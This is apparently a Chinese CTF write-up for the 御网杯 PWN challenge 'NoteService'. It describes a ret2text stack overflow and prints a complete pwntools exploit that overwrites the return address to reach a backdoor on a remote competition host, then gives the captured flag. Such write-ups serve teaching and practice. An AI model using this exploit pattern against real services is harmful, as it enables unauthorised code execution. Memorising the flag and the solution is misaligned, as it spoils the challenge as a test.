看板娘加载中
180 字
1 分钟
御网杯 PWN NoteService

附件:PWN-NoteService.docx

题目附件截图:

截图 1

截图 2

题解记录:

这题直接走 ret2text,没有太多额外条件:

  • 没有开启 canary
  • 没有额外判断逻辑卡利用链
  • 直接覆盖返回地址跳后门即可

原始 WP 中给出的 exp:

from pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = "./vuln"
host = "47.99.147.34" # 网址
port = 10858 # 端口
elf = ELF(binary_path, checksec=False)
context.binary = elf
if elf.bits == 64:
context.arch = "amd64"
gdbscript = """
b *main
c
"""
else:
context.arch = "i386"
gdbscript = """
b *main
c
"""
context.log_level = "debug"
if args.REMOTE:
io = remote(host, port)
else:
io = process(binary_path)
def p():
pause()
backdoor = 0x401196
ret = 0x40101A
io.recv()
offset = 0x40 + 0x8
payload = flat([cyclic(offset), ret, backdoor])
io.sendline(payload)
io.interactive()

后续截图:

截图 3

截图 4

截图 5

原始记录中的 flag:

flag{db35a83bde913ee94d6a7200849bb08a}
御网杯 PWN NoteService
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-noteservice/
作者
AlF
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0